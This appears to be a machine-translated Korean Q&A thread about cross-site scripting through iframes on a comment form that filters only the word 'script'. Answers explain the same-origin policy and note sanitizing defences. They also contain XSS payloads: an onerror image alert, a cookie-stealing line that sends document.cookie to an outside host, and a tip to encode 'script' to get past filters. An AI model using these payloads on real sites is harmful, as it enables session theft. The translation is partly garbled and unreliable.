2011-11-28 5 views
7

크로스 사이트 스크립팅을 실험하고 있습니다. 나는 사용자가 코멘트를 삽입하고 웹 사이트에서 볼 수있는 웹 사이트를 가지고있다. 웹 사이트는 댓글에서 문자열 "스크립트"를 필터링하지만 iframe을 허용합니다. 내가 만든 공예품을 가리키는 iframe을 삽입 할 수 있고 내가 원하는 스크립트를 실행할 수 있음을 이해합니다. 제 질문은 : iframe 스크립트가 원본 웹 사이트에서 시작한 쿠키를 읽을 수 있습니까? alert (document.cookie)를 시도했지만 아무 것도 표시하지 않은 경고가 표시됩니다. 원래 웹 사이트는 클라이언트가 쿠키를 요청할 때 항상 쿠키를 설정합니다. 내가 누락 된 어떤 아이디어?iframe을 사용한 크로스 사이트 스크립팅

+1

을 시도 할 수 있도록 단어 스크립트를 인코딩 할 iframe (같은 doimain에있는 두 페이지 모두),'parent' 객체를 사용하십시오. 'parent.document.cookie' –

답변

9

모두 주변 페이지는 동일한 도메인에서 제공해야합니다. 동일한 원본 정책에 의해 제한됩니다. 즉 한 프레임의 스크립트는 동일한 프로토콜에 있고 정확히 동일한 도메인 이름을 갖고 동일한 포트에서 실행되는 경우에만 다른 프레임의 데이터에 액세스 할 수 있습니다. 두 프레임 모두에서 document.domain을 최상위 도메인으로 설정하면 하위 도메인의 프레임이 통신 할 수 있으므로 약간 완화 될 수 있습니다.

입력 할 수도 있지만 새로운 브라우저에서는 차단 될 수 있습니다.

그러나 제한 스크립트는 XSS를 중지하기에 충분하지 않습니다. 다른 많은 다른 방법이 있습니다. http://html5sec.orghttp://ha.ckers.org/xss.html

+0

정확하게 이해한다면, iframe에서 문서를 설정하는 것이 중요합니다. 도메인. 그렇지 않습니까? * (부모 문서에서 수행하면 네트워크 오류가 반환되기 때문에) * – user2284570

0

iframe의 도메인과 원래 웹 사이트의 도메인이 다르면 iframe이 원래 웹 사이트에 액세스 할 수 없지만 other problems이 있습니다. 당신은 HTML Purifier 같은 일도을 사용할 수 있습니다

(예. <img src="asdf" onerror="alert(document.cookie)"/>을 주석 크래커) ....

1

쿠키는 동일한 출처 정책을 따릅니다. 따라서 공격 웹 사이트와 피해자 웹 사이트 (iframe을 열 수 있음)가 동일한 호스트를 사용하면 document.cookie를 실행하면 팝업 정보가 나타납니다. 귀하의 경우에는 쿠키가 도용되지 않는 도메인이있는 것처럼 보입니다. XSS를 더 잘 사용하지 못하게하려면 core jstl 라이브러리의 C : out 태그를 사용하는 것입니다.

3

쿠키를 XSS의 페이로드로 사용하려고하는 것처럼 들리셨습니까?

실제로 쿠키를 도용하려고합니까?

그러나 사이트에서 댓글을 삽입하고 "스크립트"만 제거하면 coookie 훔치기 스크립트를 포함하여 XSS를 삽입하기위한 여러 가지 대안이 있습니다.

javascript:img=new Image();img.src="http://yoursite.com?cookie="+document.cookie; 

시도하지만 당신은 당신이 아니라 당신이에서 부모 페이지에 액세스하려면

스크립트

또는 유니 코드 73 63 72 69 70 74

관련 문제